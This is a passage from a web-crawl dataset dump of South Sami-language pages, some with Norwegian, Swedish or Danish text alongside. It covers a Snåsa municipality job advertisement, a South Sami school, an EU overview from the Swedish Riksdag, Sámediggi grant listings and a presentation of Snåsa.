2016-01-29","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.umea.se\/umeakommun\/funktionsmappar\/sprak\/languages\/samegielat\/oohpehtimmiejihmaanahokse\/maadthskuvle.4.3f5fc95914ce7bcf45114cff.html","date":"2019-09-23T13:39:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514576965.71\/warc\/CC-MAIN-20190923125729-20190923151729-00071.warc.gz","language":"sma","language_score":0.9999964237,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"sma_Latn_score\": 0.9999964237213135}","num_words":302,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.07,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vaeptiemïestere \/ Faagebarkije\nGïehtelimsgoevtesisnie Snåasen tjïeltesne sæjhta akte ellies staeries barkoe vaeptiemïesterinie \/faagebarkijinie sjïdtedh suehpeden 2019 raejeste.\nBarkoelaavenjassh sijhtieh åajvahkommes gorredimmie\/davvome jïh vaaksjome årrodh tjïelten gåetijste jïh tseegkeldahkijste jïh tjïelten geajnojste jïh jeatjah gïehtelims- jïh gorredimmiebarkoe tjïelten gåetine jïh tseegkeldahkine. Sjiehteles faageprievie vaajteles, men jeatjebh sjiehteles dååjrehtimmine maehtieh aaj syökedh. Jis ohtsijh sjïere maahtojne båetieh maahta sjyöhtehke sjïdtedh sisnjelds jarkelimmiejgujmie.\nTjïelte aktene prosessesne gaskem jeatjah stueriedehtieminie skïemtjegåeteste, gusnie åtnoe tryjjesteknologijeste, SD tseegkeldahkh, gorredimmieprogrammh jïh plearoeh sijhtieh prioriteradamme sjïdtedh. Tjïelte aaj meatan gelline jeatjah prosjektine mah leah digitaliseradimmien bïjre dïenesjijstie juktie buerebe hoksehtimmiem vedtedh årroejidie. Sjiehteles daajroe jïh ïedtje daatan jïh digitaliseradimmien bïjre lea vaajteles men ij akte krïevenasse.\nBarkoe lea gïehtelimsgoevtesen nuelesne Evtiedimmieektievoetesne.\nDïhte guhte barkoem åådtje tjuara vuejemeleahpam bïjlese utnedh jïh vuj maehtedh jïjtse bïjlem dïenestisnie nuhtjedh. Vuejemeleahpa klaasse C lea vaajteles men ij akte krïevenasse. Tjuara veanhtadidh meatan årrodh tjïelten riejriesvoetesne.\nVielie bïevnesh barkoen biïre åadtjoeh jis soptsesth ektievoeten åvtehkinie Are Tomter tell. 99271015 jallh barkoen åvtehkinie Jon Martin Seem tell. 45244849.\nDastegh gujnh jïh ålmah seamma maahtoem utnieh sïjhtebe veeljedh dam tjoelem mij lea unnebelåhkosne.\nGoh guektiengïeleldh tjïelte Snåasen tjïelte aaj sæjhta almetjh dåårrehtidh åarjelsaemien gïeline jïh kultuvremaahtojne.\nOhtseme seedtesåvva elektrovneles goeresne. Ohtsememierie 28.02.19\nVaktmester \/ Fagarbeider\nVed driftsavdelingen i Snåsa Kommune, vil det fra mai 2019 bli ledig fast inntil hel stilling for vaktmester \/ fagarbeider.\nArbeidsoppgaver vil i hovedsak være vedlikehold og tilsyn av kommunale bygg og anlegg, kommunalt vegnett og annet drifts- og vedlikeholdsarbeid på bygg og anlegg i kommunen.\nRelevant fagbrev er ønskelig, men andre med relevant erfaring kan også søke. Hvis det kommer søkere med spesiell kompetanse, så kan det bli aktuelt med intern rokering.\nKommunen er i en prosess med blant annet utbygging på sjukeheimen, hvor bruk av velferdsteknologi, SD anlegg, vedlikeholdsprogram og lignende vil bli prioritert. Kommunen er også med i mange forskjellige prosjekter som handler om digitalisering av tjenester for å yte bedre service til innbyggerne. Relevant kunnskap og interesse rundt data og digitalisering er ønskelig, men ikke et krav.\nStillingen sorterer under driftsavdelingen ved Utviklingsenheten.\nDen som tilsettes må ha førerkort for bil og eventuelt kunne disponere egen bil i tjenesten. Førerkort klasse C er ønskelig, men ikke et krav. Deltagelse i kommunens beredskap må påregnes.\nNærmere opplysninger om stillingen fås ved henvendelse til enhetsleder Are Tomter på tlf. 99271015, eller arbeidsformann Jon Martin Seem tlf. 45244849.\nUnder ellers like vilkår vil underrepresentert kjønn bli foretrukket.\nSom tospråklig kommune ønsker Snåsa kommune også å rekruttere inn personer med sørsamisk språk og kulturkompetanse.\nSøknad sendes på elektronisk skjema. Søknadsfrist 28.02.19","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.snasa.kommune.no\/artikkel.aspx?MId1=164&AId=619","date":"2019-10-19T00:15:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986685915.43\/warc\/CC-MAIN-20191018231153-20191019014653-00477.warc.gz","language":"sma","language_score":0.9930505753,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9930505752563477}","num_words":410,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.063,"flagged_words_ratio":0.0,"lang_id_score":0.994,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5.- 7. kl Åarjel-saemiej skuvlesne\nÅarjel-saemiej skuvle lea saemien skuvle Snåasesne mij gaske Nöörjesne.5\nÅarjel-saemiej skuvle akte onne skuvle. Tjaktjen 2019 17 learohkh skuvlesne. 1.- 4. klaassh leah seamma klaasse-tjïehtjelisnie, jïh 5.- 7. leah jeatjah klaasse-tjïehtjelisnie.7\nLearohkh båetieh ovmessie sijjijste Nöörjesne, dovne Sveerjeste. Naan maanah dellie internaatesne årroeminie gosse skuvlesne. Internaate lea goh maanaj hïejme. Desnie fïereguhte tjïehtjelem utnieh jïh beapmoem jïh såjhtoem åadtjoeh.9\nJaepien 1961 nænnoestin edtjin saemien skuvlem Snåasesne öörnedh. Internaate riejries jaepien 1968. Voestes jaepieh klaassetjïehtjelh Vinje skuvlesne utnin.11\nGoeven 2. biejjien 1977 Åarjel-saemiej skuvle riejries, jïh mijjieh jïjtse skuvlem åadtjoejimh. Dan mænngan dovne skuvlem jïh internaatem stueriedamme.13\nElla Holm Bull lij voestes rektovre Åarjel- saemiej skuvlesne. Ealla abpe jielemem åarjelsaemien gieline barki jïh dïhte gellie skuvlegærjah jïh laavloeh tjeeli. Ealla aaj lïhtsege Saemiedigkesne jaepiej 1989-1993.15\nLissine sïejhme faagh goh matematihke, vitnedimmie, daaroen jïh englaanten gïele utnebe åarjelsaemien voestesgïeline jallh mubpiegïeline. Naan learohkh aaj noerhtesaemien utnieh. Mijjen lohkehtæjjah dovne saemien jïh daaroen nuhtjieh. Duedtie lea saemien gïetevætnoe.17\nÅarjel-saemiej skuvle maaje-øøhpetimmiem saemien gielesne vadta learoehkidie mah jeatjah skuvline vaedtsieh. Dah learohkh mijjen skuvlese båetieh gosse gussievåhkoeh utnebe.19\nFierhten jaepien 4 guessievåhkoeh utnebe, 2 åvteli jåvlh jih 2 jåvli mænngan. Dellie mijjieh ovmessie aamhtesigujmie barkeminie vg. gïjrejuhteme, vætnoe, heamturh jïh plaerie.21\nMahte fïerhten biejjien mijjieh internaatesne byöpmedibie. Dellie åadtjoejibie guelieh, paannelaejpieh, pastam, bovtsen bearkoem jïh jïjnje vielie.23\nTjaktjege mijjieh ovmessie giedtide vuelkebe gosse edtjieh bovtsh leekedidh. Mijjieh learohkh meatan niestiem skuvlese vaeltebe.25\nFïerhten jaepien provhkebe ellies beapmoebiejjiem utnedh. Dellie saemien beapmoem jallh beapmoem jeatjah laantijste jurjiehtibie. Dellie eejhtegh jïh åerpenh beapmose bööredibie.27\nFïereguhte måbpan tjaktjen mijjieh Plassjese kultuvre-festivaalese \"Raasten Rastah\" vuelkebe. Desnie maehtebe veeljedh jïjnje ovmessie darjodh goh duedtie, vitnedimmie, gïeline stååkedidh, musigke jv.29\nSkuvlen tjeallarisnie saemien maanagïerte man nomme Suaja maanagïerte. Skuvle jïh maanagïerte ovmessie ektesne darjobe. Vuesiehtimmien gaavhtan ektesne olkese minnebe, saemiej åålmegebiejjiem heevehtimmibie jnv.31\nJaepien 2018 Åarjel-saemiej skuvle stoerre jubileumem heevehti gosse skuvle 50 jaepien båeries. Båeries learohkh, lohkehtæjjah jïh jeatjah guessieh böötin. Stoerre heevehtimmie konseertine, vuesiehtimmine, njaelkies beapmojne jïh jïjnje vielie.33\nMåjhtah magkerh gïelh lïerebe mijjen skuvlesne?35\nFoto\/ Myndir\/ Asseq\/ Valokuva\/ Guvvieh\/ Nuotraukos\/ Photo:\nS1-34: Åarjel-saemiej skuvle\nS12: Jens Søraa\nwww.aarjelsaemiejskuvle.com","id":"","dump":"CC-MAIN-2019-43","url":"http:\/\/atlantbib.org\/de\/node\/1359","date":"2019-10-15T22:18:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986660323.32\/warc\/CC-MAIN-20191015205352-20191015232852-00034.warc.gz","language":"sma","language_score":0.9999175072,"language_script":"Latn","minhash_cluster_size":128,"top_langs":"{\"sma_Latn_score\": 0.9999175071716309}","num_words":328,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Barn och utbildning - sydsamiska\nMaana- jih ööhpehtimmie\nÖöhpehtimmiereeremem dïedtem åtna gaajhkide ööhpetimmide Vualtjeren\ntjïeltesne, aarhskuvleste gosk jolleskuvlese.\nÖöhpehtimmiesuerkiem lea aarhskuvledarjoem gusnie aarhskuvlide jih\nfuelhkiebiejjiehïejmem, maadthskuvle gusnie aaj aarhskuvleklaasse,\neejehtshïejme jih sjïereskuvledarjoem.\nJåarhkeskuvlen ööhpehtimmie jih aaj jåarhkesjïereskuvledarjoem tjïelten jïjtjesh\njåarhkeskuvlesne dorje, Malgomajskuvlesne, gusnie gaektsie nasjovnalen\nprogrammh jih dah vïjhte introduksjovneprogrammide.\nLearoejarnge dïedtem geerveööhpehtämman ovmessie daltesidie,\nmaadthdaltesistie don jolleskuvledaltesasse åtna.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.vilhelmina.se\/saepmie-s%C3%A1pmi\/information-paa-samiska\/barn-och-utbildning-sydsamiska\/","date":"2019-10-22T23:46:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987826436.88\/warc\/CC-MAIN-20191022232751-20191023020251-00002.warc.gz","language":"sma","language_score":0.9999634027,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999634027481079}","num_words":58,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.106,"stopwords_ratio":0.138,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EU är ett samarbete mellan 28 länder. EU:s historia börjar på 1950-talet. Sverige blev medlem 1995. Genom åren har EU:s verksamhet ökat både vad gäller antalet länder och frågor som man samarbetar om. EU har sju institutioner med olika uppgifter, till exempel att stifta lagar och bestämma om budgeten.\nÅenehks EU:en bïjre\nSveerje lea meatan Europeijen unijovne (EU) 1995 raejeste. EU-laanth laavenjostoeh ovmessie gyhtjelassine jïh jïjnjh dejstie mijjen aarkebiejjiem tsevtsieh. Daesnie åenehks daajroem mejnie EU gïetede, guktie EU sjæjsjele jïh Sveerjen råallen bïjre EU:esne. Dïhte aaj vuesehte guktie datne maahtah EU:em tsevtsedh.\nStoerre bieliem EU:en barkoste lea dan bïjre guktie åesiestimmiem aelhkebe darjodh lïhtsegelaanti gaskem. EU-laavenjosteme aaj aelhkie årrodh fealadidh, juhtedh jallh lohkehtidh jeatjah EU-laantesne. Daelie maehtieh EU-otnjegh vuesiehtimmien gaavhtan barkedh jeatjah EU-laantesne bielelen sjïere barkoe- jallh orremeluhpie. Euroe lea valuta medtie bielie EU-laantijste.\nLïhtsegelaanth\nEU:en lïhtsegelaanth lea meatan EU:ese orreme ovmessie tïjjetsiehkine:\n1952 Belgien, Frankrijhke, Italien, Luxemburg, Nederländerna, Tysklaante\n1973 Danmark, Irlaante, Storbritannien\n1981 Greklaante\n1986 Portugal, Spanien\n1995 Såevmie, Sveerje, Österrijhke\n2004 Cypern, Estlaante, Lettlaante, Litauen, Malta, Polen, Slovenien, Slovakien, Tjeckien, Ungern\n2007 Bulgarien, Rumänien\n2013 Kroatien\nMaam EU dorje?\nEU gaajhkem gïetede?\nEU jïjnjh gyhtjelassh gïetede. Daesnie naan vuesiehtimmieh:\nByjresegyhtjelassh. EU lea vuesiehtimmien gaavhtan ulmieh bïejeme guktie lïhtsegelaanth edtjieh sov olkeseluejhtemh sjædtoegåetiegassijste unniedidh.\nGööleme. EU sjæjsjele man jïjnjh guelieh mah åådtje lïhtsegelaanti tjaetsine gööledh. Dïhte gaskem jeatjebem tsevtsie tåarskh Luvliemearoesne.\nPolijselaavenjosteme. EU-laanti polijsh jïh åklagerh reaktam utnieh laavenjostedh guktie kruepies miedtemh vööste laanti gaskem vuesiehtimmien gaavhtan tjeakoes narkotijhkefoeresjimmie.\nRegijonaaledåarjoe. EU-laanth sijhtieh dah ekonomeles jïh sosijaleles joekehts unniedidh laanti jïh regijovni gaskem EU:esne. Dan gaavhtan stoerre bieliem EU:en beetnegijstie regijonaaledåarjose.\nBaataræjjapolitihke. EU ektine njoelkedassh åtna asylen bïjre baataræjjide, gaskem jeatjebem mij laantide mij edtja asyleohtsemem gïetedidh.\nEU-laanth laavenjostoeh vuesiehtimmien gaavhtan aaj viehkiepolitihken bïjre, åesiestimmine laantigujmie EU:en ålkoelisnie, dåarjoeh laantebårran jïh beapmoegyhtjelassi bïjre.\nDaate ij EU darjoeh\nLïhtsegelaanti jïjtjh dïedtem utnieh jïjnjide aatide. Naan vuesiehtimmieh lea baalhkaskaehtieh, skïemtjehokse, skuvle jïh voeresebeetneh jïh maanadåarjoe.\nMan dovres EU?\nGaajhkh lïhtsegelaanth maaksovem maeksieh EU:ese fïerhten jaepien. Maaksovem beaja gaskem jeatjebem laanten ekonomeles våaroemistie. Sveerje maaksa 30-40 miljardh kråvnah.\nÅllesth EU åådtje medtie 1 300 miljardh kråvnah jaepesne. Medtie 85 prosenth beetnegijstie bååstide lïhtsegelaantide vadta dåarjoehammojne. Jeenjemes juhtieh regijovnide EU-laantine evtiedidh, vuesiehtimmien gaavhtan geajnoeh buaranidh, dotkemem jïh ööhpehtimmieh dåarjodh barkoemaarhnesne, laanteburriem, laantevoenh jïh göölemem dåarjodh. Bene beetnegh aaj juhtieh vuesiehtimmien gaavhtan viehkide, kultuvredåarjojde jïh polijsen laavenjostemidie. Sveerje bieliem åådtje jeenjemes dåarjoehammojste.\n- Sveerjen staatebudsjedte lea medtie 900 miljardh kråvnah.\n- 30-40 miljardh kråvnah staatebudsjedteste jåhta EU:ese maaksovine.\n- Sveerje bååstide 10-13 miljardh kråvnah åådtje ovmessie dåarjojne EU:este.\nGosse EU sjæjsjele\nEuropeijen raerie – tjåanghkoe EU-laanti åejviej gaskem\nEuropeijen raerie rïektesïevide tjaaleste EU-laavenjostemen åvtese guhkebe tïjje, mohte ij EU-njoelkedassi bïjre sjæjsjelh. Dah njielje aejkieh fïerhten jaepien tjåanghkenieh. Jis daarpesje dellie maahta lissietjåanghkoem öörnedh.\nEuropeijen raeresne åejvie, EU-laanti staate- jïh reerenasseåvtehkh jïh kommisjovnen åejvie. Europeijen raerie åejviem veeljie boelhkese mij lea göökte jïh bielie jaepieh.\nGuktie EU sjæjsjalidh?\nSveerje jïh dah jeatjah lïhtsegelaanth ektesne sjæjsjalieh orre EU-njolkedassi bïjre. Dïhte sæjhta jiehtedh Sveerje maahta EU:en sjæjsjalimmieh tsevtsedh, bene muvhtene aaj Sveerje tjuara EU-sjæjsjalimmiem dåeriedidh jïlhts ij Sveerje dam sïjhth utnedh.\nNaemhtie jåhta gosse Sveerje jïh dah jeatjah lïhtsegelaanth seamadieh orre EU-njoelkedassi bïjre:\n1. EU-kommisjovne orre laakem evtede\nEU-kommisjovnen laavenjasse lea orre laakh evtiedidh. Gaajhkh lïhtsegelaanth tjirkijem åtna kommisjovnesne. Dah kommisjovnijh edtjieh vuartasjidh åålesth EU:en bööremes jïh eah leah tjirkijh dej respektijveles laanti åvteste.\n2. Reerenasse jïh rïjhkebiejjie nænnoestieh\nEU-kommisjovne dej uvtelassh seedtie gaajhkide lïhtsegelaantide. Sveerjesne dah reeremasse jïh rïjhkebeajjan båetieh. Reerenasse rïjhkebiejjiem beavna dan vuajnoen bïjre jïh dååste rïjhkebiejjien vuajnojde. Dïhte lea reerenasse gie Sveerjen åvteste soptseste.\n3. Europaparlamente sjæjsjele\nEuropaparlamente lea meatan jïh EU:en orre laaki bïjre sjæjsjele. Dah tjirkijh lea veeljeme sïejhme veeljeminie jïh 20 dejstie lea Sveerjesne veeljeme.\nEuropaparlamente sjæjsjele ministereraerien ektesne jeenjemes gyhtjelassine. Muvhtine gyhtjelassine ij Europaparlamente sjæjsjelh. Dïhte lea vuesiehtimmien gaavhtan EU:en ålkoerïjhke- jïh vihtiesvoetepolitihke.\n4. Ministereraerie sjæjsjele\nDïhte sveerjen reerenasse jïh gaajhkh dah jeatjah reeremh EU-laantine lea meatan akte ministerinie EU:en ministereraeresne. Ministereraerie sjæjsjele orre EU-laaki bïjre.\nDïhte sveerjen reerenasse lea åvtelhbodti evtielassem rïjhkebiejjine digkiedamme.\n5. Sveerje laakem tjïrrehtidh\nGosse ministereraerie lea sjæjsjalamme orre laaken bïjre edtja Sveerje jïh dah jeatjah lïhtsegelaanth laakem sjïehtesjidh. Muvhtene rïjhkebiejjie daarpesje sveerjen laakine jeatjahtehtedh guktie edtja sjïehteladtedh dejnie EU:en orre laakigujmie. Jeatjah sjïekesne EU:en laake ryöktesth jåhta.\nRïjhkebiejjie goerehte\nDan baalte goerehtidh jïh vuajnoeh mïeledh reerenassese rïjhkebiejjie åtna, seamma goh dah parlamenth jeatjah laantine, aaj jeatjah laavenjassem åtna. Gosse EU orre laakh evtede sjïere suerkine edtjieh dah parlamenth lïhtsegelaantine goerehtidh jis dejtie njoelkedasside daarpesjieh EU-daltesinie jallh jis buerebe jis fïerhte laante dej njoelkedassij bïjre jïjtje sjæjsjalidh. Goerehtimmeste maahta sjïdtedh kommisjovne tjuara dan evtielassem ikth vielie pryövedh.\nMaam deahpade jis Sveerje ij EU:en njoelkedassi mietie dåeriedidh?\nEU-kommisjovne vååksje laanth dejtie laakide dåeriedidh mejtie EU lea sjæjsjalamme. Jis kommisjovne meala Sveerje ij dejtie laakide dåeredh maahta kommisjovne Sveerjem steemmedh EU-dåapmoestovlesne.\nEU-dåapmoestovlen laavenjasse lea dellie nænnoste jis Sveerje lea EU:en njoelkedassi vööste mïedteme. Sveerjen dåapmoestovlh maehtieh aaj EU-dåapmoestovlese govlesadtedh gyhtjelassigujmie guktie EU:en njoelkedasside edtja toelhkedh.\nJis meala Sveerje jallh jeatjah lïhtsegelaante eah EU:en njoelkedasside dåeriedidh maahta dam bæjhkoehtidh EU-kommisjovnese.\nEU-kommisjovne\n- Kommisjovnijh edtjieh ållesth EU:en bööremes vuejnedh jïh eah leah representantide dej respektijveles laanti åvteste.\n- EU-kommisjovne nommedahta vïjhten jaepiej raejesne lïhtsegelaanti reerenassijste.\n- Europaparlamente edtja EU-kommisjovnem dåhkasjahtedh.\nEuropaparlamente\n- Dïhte lea veeljeme fïerhten vïjhteden jaepien Europaparlamentese.\n- Otnjegh fïerhten laantesne dej tjirkijh tjaatsestidh.\n- Laanth stoerre åålmeginie jienebe representanth utnieh enn laanth onne åålmeginie.\nMinistereraerie\n- Dïhte ministere reerenassesne man dïedte gyhtjelassine ministereraerien meatan. Jis dïhte lea vuesiehtimmien gaavhtan byjresegyhtjelassh mah leah biejjieöörnegisnie dellie byjreseministere meatan.\n- Jeenjemes gyhtjelassine maahta ministereraerie sjæjsjalidh gosse jienebelåhkoe meala evtielassem dåarjodh. Muvhtine gyhtjelassine tjuerieh gaajhkh ministerh seamadidh åvteli maehtieh sjæjsjalidh.\nEU-dåapmestovle\n- EU-dåapmoestovle dåapmerem fïerhten EU-laanteste åtna.\n- Lïhtsegelaanti reerenassh dåapmeridie govhten jaepieh neebnesuvvieh.\nGuktie EU:em tsevtsedh?\nJis sæjhta sjæjsjalimmide tsevtsedh EU:esne maahta govlesadtedh naan dejstie gie dejnie barkeminie jallh sjæjsjaleminie, EU-gyhtjelassigujmie.\nEuropaparlamentarihkerh. Gååvnese sveerjen tjirkijh Europaparlamentesne gïeh leah meatan jïh EU-sjæjsjalimmide tsevtsieh. Govlesadtemebïevnesh dejtie gååvnesieh www.europaparlamentet.se. Dïhte aaj hijven gåarede Europaparlamenten bïevnesekontovrese Sveerjesne govlesadtedh, telefovne 08-562 444 55, e-påaste firstname.lastname@example.org.\nRïjhkebiejjietjirkijh. Dïhte sveerjen rïjhkebiejjien tjirkijh laakide Sveerjesne tseegkieh jïh reerenassese vuajnoeh vedtieh åvteli ministereraeresne sjæjsjalieh. www.riksdagen.se sæjrosne gååvnesieh adressh dejtie 349 tjirkijidie jïh dej politihken krirride rïjhkebiejjesne.\nMinisterh reerenassesne. Dah sveerjen ministerh lea meatan EU:en ministereraerietjåanghkosne gusnie dah sjæjsjalieh orre EU:en njoelkedasside. www.regeringen.se sæjrosne gååvnese govlesadtemebïevnesh reerenassen gaajhkide ministeridie.\nEU-kommisjovne. EU-kommisjovne sæjhta daamhtaj vuajnoeh utnedh raeriestimmide laakide. Akte miljovne EU-otnjegh maehtieh aaj otnjegeinitiatijvesne kommisjovnem haestedh laakejeatjahtehtemasse. Maahta EU-kommisjovnem kontovrem Sveerjesne govlesadtedh, telefovne 08-562 444 11, e-påaste email@example.com. Webbeadresse lea ec.europa.eu\/sverige\/index_sv.htm.\nOrganisasjovnh. Gellie organisasjovnh europeijen daltesisnie laavenjostoeh juktie sijhtieh EU:em tsevtsedh.\nÅenehks EU:n histovrijen bïjre\nGovhte laantijste ...\nEU:esne daenbiejjien 28 laanth mah ektesne medtie 508 miljovnh otnjegh utnieh. Jienebh laanth sijhtieh lïhtsegidie sjidtieh, gaskem jeatjebem Serbien jïh Turkiet.\nMannasinie eelkin dah laanth Europesne laavenjostedh?\nMubpie veartenedåaroen mænngan sïjhtin jienebh laanth orre dåaroem heerredidh. Dan gaavhtan govhte laanth ektiedin Europeijen tjïrre- jïh staelieiktedimmie jaepien 1952. Dah edtjin ektesne dïedtem utnedh tjïrre- jïh staelieprodusjovnem, mah lin vihkeles vaaroeh dåaroeindustrijesne. Dennie vuekesne edtjieh dah heerredidh sjïere laante viht aalka vaekniejgujmie ryöjredidh. Dïhte lij dïhte voestes daltese EU:m skaepiedidh.\nJaepien 1958 eelki aaj jeatjah produktine, dïenesjinie jïh kapitaaline laavenjostedh. Ellies laavenjosteme naan jaepien mænngan eelki gohtjedh EE, Europeijen ektiedimmieh. Tïjjen mietie sjïdti gaskem jeatjebem byjresem, laanteburriem jïh skovhtem aaj laavenjasside EE:n åvteste. Jaepien 1993 sjïdti EE EU:em – Europeijen unijovne. Dellie sjïdti vuesiehtimmien gaavhtan nuepiem laanth maehtieh ektesne barkedh ålkoerïjhkepolitihkeles gyhtjelassigujmie. Dan mænngan lea 16 laanth lissine lïhtsegh EU:esne sjïdteme, maam tsevtsie guktie laavenjostedh.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/eu.riksdagen.se\/global\/other-languages\/aarjelsaemien\/","date":"2019-10-20T05:41:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986703625.46\/warc\/CC-MAIN-20191020053545-20191020081045-00106.warc.gz","language":"sma","language_score":0.9999740124,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 0.9999740123748779}","num_words":1168,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Stipende\nStipende jollebe ööhpehtæmman julevsaemien jallh åarjelsaemien gïelesne, jïh saemien gïeleööhpehtimmie studentide maarkasaemien dajveste\nSaemiedigkie stipendem vadta studentide mah jollebe ööhpehtimmiem julevsaemien jallh åarjelsaemien gïelesne vaeltieh, jïh studentide maarkasaemien dajveste mah saemien gïeleööhpehtimmiem vaeltieh.\nSaemiedigkie gïeleskreejremestipendem vadta learoehkidie jåarhkeskuvlesne mej saemien goh faage jåarhkeskuvlesne.\nDåarjoe\nTilskuddet lyses ut med forbehold om endringer ved Stortingets behandling av statsbudsjett for 2020.\nSaemiedigkie dåarjoem vadta maanagïertide mah eadtjohkelaakan berkieh saemien gïelh maanagïertesne nænnoestehtedh jïh evtiedidh.\nJeatjah guhkiebasse barkoe saemien reaktajgujmie, arealigujmie jïh vierhtiejgujmie - ohtsemebaseradamme dåarjoe\nSametinget åpner søkerbasert tilskuddsordning til utvikling av læremidler for 1.- 10. årstrinn på grunnskolen og videregående opplæring vg1-vg3 , på nordsamisk, lulesamisk og sørsamisk innenfor temaene: kropp, seksualitet og grensesettingforebygging av rus, vold og overgrepforebygging av trakassering, krenkelser og diskriminering\nSametinget ønsker å styrke samarbeidet med regionale og lokale myndigheter i arbeidet med å bevare og styrke samiske språk, samisk kultur, næringer og samfunnsliv. Gjennom etableringen av partnerskapsavtaler, samarbeidsavtaler med kommuner og fylkeskommuner, samt andre sentrale institusjoner hvis virksomhet berører samiske interesser.\nMaahtah tseegkemedåarjoen bïjre ohtsedh 1. boelhkese: Åestije-, jïh dorjese\/dïenesjefokuse jïh\/jallh 2. boelhkese: Evtiedimmie- jïh sjïdtemeboelhke.\nSaemiedigkie dåarjoem vadta juktie sïejhme jïh sjïere sjïehteladteme learoevierhtieh maadthlïerehtæmman evtiedidh.\nSaemiedigkie dåarjoem vadta evtiedæmman pedagogeles ïebnijste maanagïertide.\nSametinget kan gi tilskudd til profilering av duodji og merkevarebygging der salg og markedsføring er prioritert.\nNæringsavtale for duodji: Investeringer, utviklingstiltak, konsulentbistand, etablerertilskudd og prosjekter\nSametinget kan gi tilskudd til fysiske investeringer, utviklingstiltak, konsulentbistand, etablerertilskudd og prosjekter.\nSametinget kan gi tilskudd til bedrifter som selger duodji for andre duodjiutøvere.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.saemiedigkie.no\/Daaarjoe-jih-stipende","date":"2019-10-13T22:40:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986648343.8\/warc\/CC-MAIN-20191013221144-20191014004144-00378.warc.gz","language":"sma","language_score":0.9628142118,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.962814211845398, \"sme_Latn_score\": 0.030562104657292366}","num_words":240,"character_repetition_ratio":0.069,"word_repetition_ratio":0.017,"special_characters_ratio":0.138,"stopwords_ratio":0.067,"flagged_words_ratio":0.0,"lang_id_score":0.971,"perplexity_score":500.0,"cluster_detection":1} +{"text":"tungumál\nSolveig Katarina Fossum Norberg - Snåasen skuvleþýtt á danska frá 5. a Vonsild Skole\nLesið af: Solveig K. Fossum Norberg\nLesið af: Benjamin Krogh Bunk\nSnåase gaske Nöörjesne. Snåasen tjïelte Trööndelagen mubpie stööremes tjïelte. Medtie 2100 almetjh Snåasesne årroeh.\nSnåsa ligger i Midtnorge. Det er Trøndelags næststørste kommune. Der bor ca. 2100 mennesker i Snåsa.\nSnåase lea guektiengïelen tjïelte. Daaroen gïele jïh åarjelsaemien gïele seammavyörtegs tjïeltesne.\nSnåsa er en tosproget kommune. Norsk og sydsamisk sprog er ligestillet i kommunen.\nAesesne, Bergsåsen, plåamstere Cypripedium calceolus gååvnese. Daate plåamstere lea Snåasen tjïeltenvæhta.\nI Bergsåsen vokser blomsten \"Cypripedium calceolus\" - fruesko. Den er Snåsa Kommunes kommunevåben.\nSnåasen tjïeltesne jïjnjh vaerieh jïh bijjelen 2000 gööleme-jaevrieh. Snåasenjaevrie govhtede stööremes jaevrie Nöörjesne.\nI Snåsa Kommune findes der mange fjelde og over 2000 fiskesøer. Snåsavatnet er Norges sjette største sø.\nSnåasesne golme maadth-skuvlh, Snåasen Montessori skuvle, Snåasen skuvle jïh Åarjel-saemiej skuvle.\nDer er tre grundskoler i Snåsa; Snåsa Skole, Snåsa Montessori Skole og Åarjel-saemiej Skole.\nÅarjel-saemiej skuvle lea saemien skuvle. Naan learohkh jeatjah tjïeltijste båetieh, jïh dah internaatesne årroeh gosse skuvlesne vaedtsieh.\nÅarjel-saemiej skole er en samisk skole. Nogle af eleverne kommer fra andre kommuner og de bor på skolen, mens de går der.\nSnåasesne ånnetji industrije, feeladasse, gellie gaertenh gusnie govsh, snurkh jïh sïrvh jïh gellie gïeh båatsojne berkieh.\nI Snåsa er der kun lidt industri og turisme. Der findes mange gårde med køer, grise og får og der er mange, som arbejder med rendrift.\nSaemien sïjte lea saemien museume jïh kultuvrejarnge mij åarjelsaemien kultuvrem jïh histovrijem vuesehte.\nSaemien Sïjte er et samisk museum og kulturcenter, som viser sydsamisk kultur og historie.\nSnåasen gærhkoe gierkijste jïh båarasommes gærhkoste 800 jaepien båeries.\nSnåsa Kirke er bygget af sten og den ældste del af kirken er 800 år gammel.\nJoralf Gjerstad åahpies abpe Nöörjesne juktie dan leah \"baahke gïeth\". Dïhte gellie almetjh jealajahteme. Dïhte \"Snåsamannen\" gåhtjesåvva.\nJoralf Gjerstad er kendt i hele Norge fordi han har \"varme hænder\". Han har helbredt mange mennesker. Han bliver kaldt 